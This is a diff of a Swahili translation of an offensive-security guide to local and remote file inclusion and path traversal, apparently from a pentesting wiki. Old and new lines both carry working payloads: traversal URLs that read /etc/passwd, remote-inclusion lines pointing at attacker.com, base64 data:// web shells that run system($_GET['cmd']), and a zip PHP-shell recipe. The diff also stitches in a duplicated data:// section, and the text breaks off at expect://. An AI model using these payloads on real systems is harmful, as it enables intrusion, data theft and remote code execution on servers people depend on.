Kuna njia mbalimbali za kuvuka (traversal) faili kwenye tovuti ili kufikia faili zisizo za umma au za siri. Moja ya njia hizo ni kuvuka kwa kutumia mfuatano wa kuvuka (traversal sequence). Hata hivyo, mara nyingi mfuatano huu unaweza kuwa umeondolewa kwa njia isiyo ya kurekodi (non-recursively).
|
||||
|
||||
Kwa kawaida, mfuatano wa kuvuka unaweza kuwa kama "../" au "../../" ambapo kila mfuatano unaelezea kuvuka ngazi moja ya saraka. Hata hivyo, katika hali ambapo mfuatano huu umefutwa kwa njia isiyo ya kurekodi, njia nyingine za kuvuka zinaweza kutumika.
|
||||
|
||||
Ni muhimu kufahamu kwamba mfuatano wa kuvuka uliondolewa kwa njia isiyo ya kurekodi unaweza kuwa hatari na kusababisha ufikiaji usioidhinishwa kwa faili na data zisizo za umma. Kwa hiyo, ni muhimu kwa wapenzi wa usalama na wataalamu wa uchunguzi wa wavuti kuelewa mbinu hii na kuchukua hatua za kutosha kuzuia mashambulizi ya kuvuka faili.
|
||||
### mfuatano wa upitishaji uliondolewa kwa kutumia njia isiyo ya kurudia
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
|
@ -90,15 +84,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Pita kwenye kuongeza herufi zaidi mwishoni mwa kamba iliyotolewa (kipuuzi cha: $\_GET\['param']."php")
|
||||
Pita kwenye kuongeza herufi zaidi mwishoni mwa string iliyotolewa (kipita: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Hii imepatiwa **ufumbuzi tangu PHP 5.4**
|
||||
Hii ime **tatuliwa tangu PHP 5.4**
|
||||
|
||||
### **Ukodishaji**
|
||||
|
||||
Unaweza kutumia ukodishaji usio wa kawaida kama vile ukodishaji wa URL mara mbili (na mingineyo):
|
||||
Unaweza kutumia ukodishaji usio wa kawaida kama vile ukodishaji wa URL mara mbili (na mingine):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
|
@ -107,47 +101,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|||
```
|
||||
### Kutoka kwenye folda iliyopo
|
||||
|
||||
Labda sehemu ya nyuma inachunguza njia ya folda:
|
||||
Labda seva ya nyuma inachunguza njia ya folda:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Kuchunguza Mafaili ya Mfumo wa Direktori kwenye Seva
|
||||
### Kuchunguza Miongozo ya Mfumo wa Faili kwenye Seva
|
||||
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kina ili kutambua direktori, si tu mafaili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kujua kina cha direktori na kuchunguza uwepo wa folda maalum. Hapa chini ni njia iliyoelezwa kwa undani ya kufanikisha hili:
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kina ili kutambua miongozo, siyo tu faili, kwa kutumia njia fulani. Mchakato huu unahusisha kujua kina cha miongozo na kuchunguza uwepo wa folda maalum. Hapa chini ni njia iliyoelezewa kufanikisha hili:
|
||||
|
||||
1. **Kujua Kina cha Direktori:**
|
||||
Thibitisha kina cha direktori yako ya sasa kwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ni ya Linux). URL ya mfano inaweza kuwa imeundwa kama ifuatavyo, ikionyesha kina cha tatu:
|
||||
1. **Kutambua Kina cha Miongozo:** Hakikisha kina cha miongozo ya folda yako ya sasa kwa kupata faili ya `/etc/passwd` kwa mafanikio (inatumika ikiwa seva ni ya Linux). URL ya mfano inaweza kuwa imeundwa kama ifuatavyo, ikionyesha kina cha tatu:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Chunguza Folda:**
|
||||
Ongeza jina la folda inayoshukiwa (kwa mfano, `private`) kwenye URL, kisha nenda nyuma kwenye `/etc/passwd`. Kiwango cha ziada cha folda kinahitaji kuongeza kina kwa moja:
|
||||
2. **Chunguza Folda:** Ongeza jina la folda inayoshukiwa (k.m., `private`) kwenye URL, kisha endelea kurudi kwa `/etc/passwd`. Kiwango cha ziada cha folda kinahitaji kuongeza kina kwa moja:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Tafsiri Matokeo:**
|
||||
Jibu la seva linaonyesha ikiwa saraka ipo:
|
||||
- **Kosa / Hakuna Matokeo:** Inaonekana kuwa saraka ya `private` haipo katika eneo lililoelezwa.
|
||||
- **Yaliyomo ya `/etc/passwd`:** Uwepo wa saraka ya `private` umethibitishwa.
|
||||
3. **Tafsiri Matokeo:** Majibu ya seva yanathibitisha ikiwa folda ipo:
|
||||
* **Kosa / Hakuna Matokeo:** Labda folda ya `private` haipo katika eneo lililotajwa.
|
||||
* **Yaliyomo ya `/etc/passwd`:** Uwepo wa folda ya `private` umethibitishwa.
|
||||
4. **Utafiti wa Kina:** Folders zilizogunduliwa zinaweza kuchunguzwa zaidi kwa subdirectories au faili kutumia mbinu ile ile au mbinu za kawaida za Ujumuishaji wa Faili za Kienyeji (LFI).
|
||||
|
||||
4. **Uchunguzi wa Kina:**
|
||||
Saraka zilizogunduliwa zinaweza kuchunguzwa zaidi kwa kutafuta vijidirisha au faili kwa kutumia njia ile ile au njia za kawaida za Uingizaji wa Faili za Ndani (LFI).
|
||||
|
||||
Kwa kuchunguza saraka katika maeneo tofauti katika mfumo wa faili, badilisha mzigo kulingana na hilo. Kwa mfano, ili kuangalia ikiwa `/var/www/` ina saraka ya `private` (ukiassumu kuwa saraka ya sasa iko kwenye kina cha 3), tumia:
|
||||
Kwa kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha mzigo kulingana. Kwa mfano, kuchunguza ikiwa `/var/www/` ina folda ya `private` (ukidhani kuwa folda ya sasa iko kwenye kina cha 3), tumia:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Mbinu ya Kukata Njia**
|
||||
|
||||
Kukata njia ni njia inayotumiwa kubadilisha njia za faili katika programu za wavuti. Mara nyingi hutumiwa kupata faili zilizozuiwa kwa kuzingira hatua za usalama ambazo huongeza herufi zaidi mwishoni mwa njia ya faili. lengo ni kuunda njia ya faili ambayo, baada ya kubadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotaka kufikiwa.
|
||||
Kukata njia ni njia inayotumiwa kubadilisha njia za faili kwenye programu za wavuti. Mara nyingi hutumiwa kupata faili zilizozuiwa kwa kuzidi hatua fulani za usalama ambazo huongeza herufi ziada mwishoni mwa njia ya faili. Lengo ni kutengeneza njia ya faili ambayo, baada ya kubadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
|
||||
|
||||
Katika PHP, uwakilishi tofauti wa njia ya faili unaweza kuchukuliwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
|
||||
Katika PHP, mifano mbalimbali ya njia ya faili inaweza kuchukuliwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, na `/etc/passwd/` zote zinachukuliwa kama njia ile ile.
|
||||
- Wakati herufi 6 za mwisho ni `passwd`, kuongeza `/` (kufanya iwe `passwd/`) haimbadilishi faili inayolengwa.
|
||||
- Vivyo hivyo, ikiwa `.php` inaongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadilisha faili inayofikiwa.
|
||||
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, na `/etc/passwd/` zote hushughulikiwa kama njia ile ile.
|
||||
* Wakati herufi 6 za mwisho ni `passwd`, kuongeza `/` (kufanya iwe `passwd/`) haitabadilishi faili inayolengwa.
|
||||
* Vivyo hivyo, ikiwa `.php` inaongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadilisha faili inayopatikana.
|
||||
|
||||
Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia ili kupata `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (habari za akaunti ya mtumiaji):
|
||||
Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kupata `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti ya mtumiaji):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
|
@ -157,22 +146,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
|||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
Katika mazingira haya, idadi ya mizunguko inayohitajika inaweza kuwa karibu 2027, lakini idadi hii inaweza kutofautiana kulingana na usanidi wa seva.
|
||||
Katika mazingira haya, idadi ya uchunguzi inaweza kuwa karibu 2027, lakini idadi hii inaweza kutofautiana kulingana na usanidi wa seva.
|
||||
|
||||
- **Kutumia Dot Segments na Herufi Zaidi**:
|
||||
Mfululizo wa mizunguko (`../`) uliochanganywa na dot segments na herufi zaidi unaweza kutumika kusafiri kwenye mfumo wa faili, kwa kuzingatia vipande vilivyowekwa na seva.
|
||||
* **Kutumia Vipande vya Dot na Wahusika Wengine**: Mfululizo wa uchunguzi (`../`) uliounganishwa na vipande vya dot ziada na wahusika unaweza kutumika kusafiri kwenye mfumo wa faili, kwa kufuta vitu vilivyoongezwa na seva.
|
||||
* **Kutambua Idadi Inayohitajika ya Uchunguzi**: Kupitia jaribio na kosa, mtu anaweza kupata idadi sahihi ya mfululizo wa `../` unaohitajika kusafiri hadi kwenye saraka kuu na kisha kufikia `/etc/passwd`, kuhakikisha kuwa vitu vilivyoongezwa (kama vile `.php`) vinatupiliwa mbali lakini njia inayotakiwa (`/etc/passwd`) inabaki bila kuguswa.
|
||||
* **Kuanza na Saraka Bandia**: Ni mazoea ya kawaida kuanza njia na saraka isiyopo (kama vile `a/`). Mbinu hii hutumiwa kama tahadhari au kufikia mahitaji ya mantiki ya uchambuzi wa njia wa seva.
|
||||
|
||||
- **Kutambua Idadi Inayohitajika ya Mizunguko**:
|
||||
Kwa kujaribu na kosa, mtu anaweza kupata idadi sahihi ya mfululizo wa `../` unahitajika kusafiri kwenye saraka kuu na kisha kufikia `/etc/passwd`, kuhakikisha kuwa vipande vilivyowekwa (kama vile `.php`) vinatupiliwa mbali lakini njia inayotaka (`/etc/passwd`) inabaki salama.
|
||||
|
||||
- **Kuanza na Saraka Bandia**:
|
||||
Ni jambo la kawaida kuanza njia na saraka isiyopo (kama vile `a/`). Mbinu hii hutumiwa kama tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
|
||||
|
||||
Wakati wa kutumia mbinu za kukata njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji njia tofauti, na majaribio mara nyingi ni muhimu kupata njia yenye ufanisi zaidi.
|
||||
Wakati wa kutumia mbinu za kukata njia, ni muhimu kuelewa tabia ya uchambuzi wa njia wa seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji njia tofauti, na mara nyingi majaribio ni muhimu kupata njia yenye ufanisi zaidi.
|
||||
|
||||
**Udhaifu huu ulisahihishwa katika PHP 5.3.**
|
||||
|
||||
### **Mbinu za kuepuka kichujio**
|
||||
### **Mbinu za Kupita Kichujio**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
|
@ -180,14 +164,14 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
|||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Uingizaji wa Faili Kijijini
|
||||
## Kuingiza Faili Kijijini
|
||||
|
||||
Katika php hii imezimwa kwa chaguo-msingi kwa sababu **`allow_url_include`** ni **Off.** Lazima iwe **On** ili ifanye kazi, na katika kesi hiyo unaweza kuingiza faili ya PHP kutoka kwenye seva yako na kupata RCE:
|
||||
Katika php hii imelemazwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Lazima iwe **On** ili ifanye kazi, na katika kesi hiyo unaweza kuingiza faili ya PHP kutoka kwenye seva yako na kupata RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inazuia ufikiaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia mfano wa itifaki ya data na base64 ili kuchanganua nambari ya PHP ya b64 na kupata RCE:
|
||||
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inazuia upatikanaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia mfano wa itifaki ya data na base64 kudecode nambari ya PHP ya b64 na kupata RCE:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -196,12 +180,10 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji herufi ambayo inamalizika na `.txt`, kwa hivyo herufi hiyo inamalizika nayo na baada ya b64 decode sehemu hiyo itarudi tu taka na msimbo halisi wa PHP utajumuishwa (na kwa hivyo, kutekelezwa).
|
||||
Katika msimbo uliopita, `+.txt` ya mwisho iliwekwa kwa sababu muhusika alihitaji string ambayo ilimalizika kwa `.txt`, hivyo string inamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha takataka tu na msimbo halisi wa PHP utajumuishwa (na hivyo, kutekelezwa).
|
||||
{% endhint %}
|
||||
|
||||
Mfano mwingine **usioutumia itifaki ya `php://`** ungekuwa:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Mfano mwingine **usiotumia itifaki ya `php://`** ungekuwa:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
|
@ -209,27 +191,27 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
|||
|
||||
## Kipengele cha Mzizi cha Python
|
||||
|
||||
Katika python katika namna ya namna hii ya namna:
|
||||
Katika python katika namna ya namna hii:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Ikiwa mtumiaji anapitisha **njia kamili** kwa **`jina_la_faili`**, **njia ya awali tu inaondolewa**:
|
||||
Ikiwa mtumiaji anapitisha njia ya **`file_name`** ya **kabisa**, **njia iliyopita inaondolewa tu**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Hii ni tabia iliyokusudiwa kulingana na [nyaraka](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
Hii ni tabia iliyokusudiwa kulingana na [nyaraka] (https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Ikiwa sehemu ni njia kamili, sehemu zote za awali zinatupwa na kuunganisha inaendelea kutoka sehemu ya njia kamili.
|
||||
> Ikiwa sehemu ni njia kamili, sehemu zote za awali hutupwa na kuunganisha inaendelea kutoka kwa sehemu ya njia kamili.
|
||||
|
||||
## Java Orodha ya Dirs
|
||||
## Orodha ya Dirs za Java
|
||||
|
||||
Inaonekana ikiwa una Path Traversal katika Java na **unauliza kwa saraka** badala ya faili, **orodha ya saraka inarudi**. Hii haitatokea katika lugha zingine (najua).
|
||||
Inaonekana kama una Uvujaji wa Njia katika Java na **unauliza kwa saraka** badala ya faili, **orodha ya saraka inarudiwa**. Hii haitatokea katika lugha zingine (kwa kadri ninavyojua).
|
||||
|
||||
## Parameta 25 Bora
|
||||
|
||||
Hapa kuna orodha ya parameta 25 bora ambazo zinaweza kuwa na udhaifu wa kuingiza faili za ndani (LFI) (kutoka [kiungo](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Hapa kuna orodha ya parameta 25 bora ambazo zinaweza kuwa hatarini kwa udhaifu wa kuingiza faili za ndani (LFI) (kutoka [kiungo] (https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
|
@ -257,40 +239,40 @@ Hapa kuna orodha ya parameta 25 bora ambazo zinaweza kuwa na udhaifu wa kuingiza
|
|||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI kwa kutumia PHP wrappers & itifaki
|
||||
## LFI / RFI kutumia PHP wrappers & itifaki
|
||||
|
||||
### php://filter
|
||||
|
||||
Vichujio vya PHP huruhusu kufanya **operesheni za kubadilisha data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya vichujio:
|
||||
Vichujio vya PHP huruhusu kufanya **operesheni za msingi za marekebisho kwenye data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya vichujio:
|
||||
|
||||
* [Vichujio vya Nakala](https://www.php.net/manual/en/filters.string.php):
|
||||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Ondoa vitambulisho kutoka kwenye data (kila kitu kati ya herufi "<" na ">")
|
||||
* Tafadhali kumbuka kuwa kichujio hiki kimeondolewa katika toleo jipya la PHP
|
||||
* [Vichujio vya Kubadilisha](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : Badilisha kwenye uandishi tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya uandishi wote** unaoungwa mkono, endesha kwenye konsoli: `iconv -l`
|
||||
* [Vichujio vya String](https://www.php.net/manual/en/filters.string.php):
|
||||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Ondoa vitambulisho kutoka kwenye data (kila kitu kati ya herufi "<" na ">" )
|
||||
* Tafadhali kumbuka kuwa chujio hiki kimeondolewa katika toleo za kisasa za PHP
|
||||
* [Vichujio vya Ubadilishaji](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : Inabadilisha kwenye uendeshaji tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya uendeshaji wote** unaoungwa mkono, endesha kwenye konsoli: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kwa kutumia kichujio cha ubadilishaji `convert.iconv.*`, unaweza **kuunda maandishi yasiyokuwa na mpangilio**, ambayo yanaweza kuwa na manufaa kuandika maandishi yasiyokuwa na mpangilio au kufanya kazi kama kuingiza maandishi yasiyokuwa na mpangilio. Kwa habari zaidi angalia [**LFI2RCE kupitia vichujio vya php**](lfi2rce-via-php-filters.md).
|
||||
Kwa kutumia vichujio vya ubadilishaji vya `convert.iconv.*` unaweza **kuzalisha maandishi ya kupindukia**, ambayo yanaweza kuwa na manufaa kuandika maandishi ya kupindukia au kufanya kazi kama mchakato wa kujumuisha maandishi ya kupindukia. Kwa maelezo zaidi angalia [**LFI2RCE kupitia vichujio vya php**](lfi2rce-via-php-filters.md).
|
||||
{% endhint %}
|
||||
|
||||
* [Vichujio vya Kupunguza](https://www.php.net/manual/en/filters.compression.php)
|
||||
* `zlib.deflate`: Punguza maudhui (inaweza kuwa na manufaa ikiwa unatoa habari nyingi)
|
||||
* `zlib.inflate`: Fungua upya data
|
||||
* [Vichujio vya Kusimbwa](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*` : Imepitwa na wakati
|
||||
* `mdecrypt.*` : Imepitwa na wakati
|
||||
* [Vichujio vya Kukandamiza](https://www.php.net/manual/en/filters.compression.php)
|
||||
* `zlib.deflate`: Kukandamiza maudhui (yanayoweza kutumika kama kufichua habari nyingi)
|
||||
* `zlib.inflate`: Kukandua data
|
||||
* [Vichujio vya Kuficha](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*` : Imepitwa na wakati
|
||||
* `mdecrypt.*` : Imepitwa na wakati
|
||||
* Vichujio Vingine
|
||||
* Kwa kukimbia `var_dump(stream_get_filters());` kwenye php, unaweza kupata vichujio vichache **visivyotarajiwa**:
|
||||
* `consumed`
|
||||
* `dechunk`: Inarudisha uandishi wa HTTP uliopangwa kwa sehemu
|
||||
* `convert.*`
|
||||
* Ukikimbia `var_dump(stream_get_filters());` kwenye php unaweza kupata vichujio vichache **visivyotarajiwa**:
|
||||
* `consumed`
|
||||
* `dechunk`: inarudisha uendeshaji wa kificho cha HTTP chunked
|
||||
* `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
||||
|
@ -318,22 +300,40 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Sehemu ya "php://filter" haizingatii herufi kubwa na ndogo
|
||||
Sehemu ya "php://filter" haizingatii herufi kubwa au ndogo
|
||||
{% endhint %}
|
||||
|
||||
### Kutumia vichujio vya php kama oracle kusoma faili za kupita kiasi
|
||||
|
||||
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili za ndani bila kupata jibu kutoka kwa seva. Mbinu hii inategemea **kupeleleza faili (herufi kwa herufi) kwa kutumia vichujio vya php** kama oracle. Hii ni kwa sababu vichujio vya php vinaweza kutumika kufanya maandishi kuwa kubwa vya kutosha kusababisha php kutupa kosa.
|
||||
|
||||
Katika chapisho asili unaweza kupata maelezo ya kina ya mbinu hii, lakini hapa kuna muhtasari wa haraka:
|
||||
|
||||
* Tumia codec **`UCS-4LE`** kuacha herufi ya kiongozi ya maandishi mwanzoni na kufanya ukubwa wa herufi kuongezeka kwa kasi.
|
||||
* Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya kwanza inatabiriwa kwa usahihi** ambayo php itasababisha **kosa**
|
||||
* Kichujio cha **dechunk** kitafuta **kila kitu ikiwa herufi ya kwanza sio hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
|
||||
* Hii, ikichanganywa na ile ya awali (na vichujio vingine vinavyotegemea herufi iliyotabiriwa), itaturuhusu kutabiri herufi mwanzoni mwa maandishi kwa kuona tunafanya mabadiliko ya kutosha kufanya isiwe tena herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaifuta na bomu la awali litasababisha kosa la php.
|
||||
* Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaruhusu kutambua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tunatumia codec hii mara 6 a->b->c->d->e->f->g herufi hiyo haiko tena kama herufi ya hexadecimal, kwa hivyo dechunk haitaifuta na kosa la php litasababishwa kwa sababu inazidiana na bomu la awali.
|
||||
* Kwa kutumia mabadiliko mengine kama **rot13** mwanzoni, ni rahisi kufichua herufi nyingine kama n, o, p, q, r (na vichujio vingine vinaweza kutumika kusogeza herufi nyingine kwenye safu ya hex).
|
||||
* Ikiwa herufi ya kwanza ni nambari, ni lazima iwekwe kwenye msimbo wa base64 na kufichua herufi 2 za kwanza kufichua nambari hiyo.
|
||||
* Tatizo la mwisho ni kuona **jinsi ya kufichua zaidi ya herufi ya kwanza**. Kwa kutumia vichujio vya kumbukumbu kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ni rahisi kubadilisha mpangilio wa herufi na kupata herufi nyingine za maandishi kwenye nafasi ya kwanza.
|
||||
* Na ili kuweza kupata **data zaidi**, wazo ni **kuzalisha baiti 2 za data taka mwanzoni** na **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** kuifanya **ipige na baiti 2 inayofuata**, na **futa data hadi data taka** (hii itaondoa baiti 2 za kwanza za maandishi ya awali). Endelea kufanya hivi hadi ufikie biti unayotaka kufichua.
|
||||
|
||||
Katika chapisho, zana ya kufanya hivi kiotomatiki pia ilifichuliwa: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Kifuniko hiki kinaruhusu kupata nambari za faili ambazo mchakato una wazi. Inaweza kuwa na manufaa kuondoa maudhui ya faili zilizofunguliwa:
|
||||
Kifuniko hiki kuruhusu kupata nambari za faili ambazo mchakato una wazi. Inaweza kuwa na manufaa kufichua maudhui ya faili zilizofunguliwa:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** ili kupata ufikiaji wa **descriptors ya faili 0, 1 na 2** mtawaliwa (sina uhakika jinsi hii inaweza kuwa na manufaa katika shambulio)
|
||||
Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **file descriptors 0, 1 na 2** mtawalia (sijui jinsi hii inaweza kuwa na manufaa katika shambulizi)
|
||||
|
||||
### zip:// na rar://
|
||||
|
||||
Pakia faili ya Zip au Rar na PHPShell ndani yake na ufikie.\
|
||||
Ili kuweza kutumia itifaki ya rar, **inahitaji kuwezeshwa maalum**.
|
||||
Pakia faili ya Zip au Rar yenye PHPShell ndani yake na ufikie.\
|
||||
Ili uweze kutumia vibaya itifaki ya rar inahitaji **kuwezeshwa kwa kusudi maalum**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
|
@ -350,19 +350,9 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
### data://
|
||||
|
||||
Hii ni mbinu ya kuingiza faili ambapo mtumiaji anaweza kuingiza faili kutoka kwa mfumo wa faili wa mwenyeji. Mbinu hii inaweza kutumiwa kwa madhumuni mbalimbali, kama vile kusoma faili za siri, kufikia data ya watumiaji wengine, au hata kutekeleza msimbo mbaya kwenye mfumo.
|
||||
### data://
|
||||
|
||||
Mara nyingi, mbinu hii inaweza kutumika kwa kutumia parameter ya URL ambayo inaruhusu mtumiaji kuingiza jina la faili. Kwa mfano, ikiwa kuna parameter ya URL inayoitwa "file", mtumiaji anaweza kuingiza jina la faili kama thamani ya parameter hiyo.
|
||||
|
||||
Kwa mfano, URL ifuatayo ina parameter ya "file" ambapo mtumiaji anaweza kuingiza jina la faili:
|
||||
|
||||
```
|
||||
http://www.example.com/index.php?file=filename.txt
|
||||
```
|
||||
|
||||
Ikiwa mtumiaji anaingiza jina la faili la "../config.php", mfumo unaweza kujaribu kusoma faili ya "config.php" kutoka kwa mfumo wa faili wa mwenyeji. Hii inaweza kusababisha kufichua data nyeti au hata kutekeleza msimbo mbaya.
|
||||
|
||||
Ni muhimu kwa watengenezaji wa wavuti kuhakikisha kuwa wanazuia mbinu hii ya kuingiza faili kwa kufanya ukaguzi wa kutosha na kusafisha thamani ya parameter kabla ya kutumia. Hii inaweza kujumuisha kuzuia matumizi ya herufi maalum kama "../" au kufanya ukaguzi wa faili iliyotakiwa kabla ya kuiruhusu kusomwa.
|
||||
### data://
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -372,16 +362,16 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Tafadhali kumbuka kuwa itifaki hii imezuiliwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
|
||||
Tafadhali elewa kuwa itifaki hii imezuiliwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect lazima iwe imewezeshwa. Unaweza kutekeleza nambari kwa kutumia hii:
|
||||
